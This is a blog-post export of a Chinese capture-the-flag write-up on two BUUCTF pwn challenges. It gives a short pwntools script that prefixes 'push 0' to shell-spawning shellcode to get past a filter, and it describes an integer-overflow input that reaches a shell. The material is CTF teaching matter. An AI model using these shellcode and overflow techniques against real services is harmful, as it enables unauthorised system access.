{"id":518,"date":"2025-08-23T11:13:28","date_gmt":"2025-08-23T03:13:28","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=518"},"modified":"2025-08-23T11:13:29","modified_gmt":"2025-08-23T03:13:29","slug":"buuctfstarctf_2019_babyshell%e3%80%81wustctf2020_number_game","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/23\/buuctfstarctf_2019_babyshell%e3%80%81wustctf2020_number_game\/","title":{"rendered":"buuctf:starctf_2019_babyshell\u3001wustctf2020_number_game"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">1\u3001starctf_2019_babyshell\u5206\u6790<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-095325.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"841\" height=\"851\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-095325.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-519\"  sizes=\"auto, (max-width: 841px) 100vw, 841px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-095458-1024x349.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"349\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-095458-1024x349.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-520\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><br>64\u4f4d\u5f00\u4e86NX\uff0c\u8fd0\u884c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-095622-1024x286.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"286\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-095622-1024x286.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-521\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u8eacd3e4\">\u8ba9\u6211\u4eec\u7ed9shellcode\uff0c\u4f46\u662f\u80af\u5b9a\u6709\u6761\u4ef6\uff0cida\u91cc\u9762\u770b\u4e00\u4e0b<\/p>\n\n\n\n<p id=\"uc05fd336\">main\u4e2d\u5f80buf\u5199\u5165shellcode\u4f1a\u6267\u884c\uff0c\u4f46\u662f\uff0c\u5bf9shellcode\u6709\u68c0\u67e5<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-100511.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"827\" height=\"362\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-100511.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-522\"  sizes=\"auto, (max-width: 827px) 100vw, 827px\" \/><\/div><\/figure>\n\n\n\n<p><br>\u68c0\u67e5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-100615-1024x334.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"334\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-100615-1024x334.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-523\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u7bafcc4e\">\u8fd9\u6837\u7684\u68c0\u9a8c\u53ef\u4ee5\u8bd5\u8bd5\u5728shellcode\u524d\u52a0\u4e0a\\x00\uff0c\u4e4b\u524d\u4e5f\u9047\u5230\u8fc7\uff0c\u600e\u4e48\u4ea7\u751f\\x00\u5462\uff0cpush 0\u5c31\u53ef\u4ee5\uff0c\u5c31\u662fj\\x00<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"outWV\">2\u3001starctf_2019_babyshell\u5b9e\u64cd<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",29363)\n\nshellcode=asm(shellcraft.sh())\npayload=asm('push 0')+shellcode\np.send(payload)\np.interactive()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-102452-1024x715.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"715\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-102452-1024x715.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-524\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><br>3\u3001wustctf2020_number_game\u5206\u6790<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103111.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"842\" height=\"858\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103111.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-525\"  sizes=\"auto, (max-width: 842px) 100vw, 842px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103230-1024x456.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"456\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103230-1024x456.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-526\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><br>32\u4f4dcanary\u548cNX\uff0c\u8fd0\u884c\u4e00\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103331-1024x409.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"409\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103331-1024x409.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-527\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u5f57d982\">\u770b\u4e0d\u51fa\u4ec0\u4e48\uff0c\u53bbida\u770b\u770b<\/p>\n\n\n\n<p id=\"ucb4ae824\">\u6211\u4eec\u770b\u5230\uff0c\u8fd9\u9053\u9898\u6709shell<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103445.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"493\" height=\"251\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103445.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-528\"  sizes=\"auto, (max-width: 493px) 100vw, 493px\" \/><\/div><\/figure>\n\n\n\n<p><br>\u4f46\u662f\u6267\u884c\u80af\u5b9a\u6709\u6761\u4ef6\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103527.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"389\" height=\"478\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-103527.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-529\"  sizes=\"auto, (max-width: 389px) 100vw, 389px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u378a6d4f\">\u610f\u601d\u662f\u8ba9\u6211\u4eec\u8f93\u5165int\u7c7b\u578b\u6570\uff0c\u8f93\u5165\u8d1f\u6570\uff0c\u53d6-v1\uff0c\u5982\u679cv1&lt;0\u6267\u884cshell<\/p>\n\n\n\n<p id=\"uc1f4bd3f\">32\u4f4dint\u8303\u56f4\u662f-2147483648 ~2147483647\uff0c\u8d1f\u6570\u653e\u5728\u5185\u5b58\u662f\u8ba1\u7b97\u8865\u7801=\u539f\u7801\u53d6\u53cd+1<\/p>\n\n\n\n<p id=\"uc11191b2\">\u5982\u679c\u8d1f\u6570\u8d85\u8fc7int\u8303\u56f4\u8865\u7801\u5c31\u4f1a\u7b26\u53f7\u4f4d\u6ea2\u51fa\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u8f93\u5165-2147483650\u8bd5\u8bd5<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"FeG7z\">4\u3001wustctf2020_number_game cat flag<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-105320-1024x944.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"944\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/08\/\u5c4f\u5e55\u622a\u56fe-2025-08-23-105320-1024x944.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-530\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' 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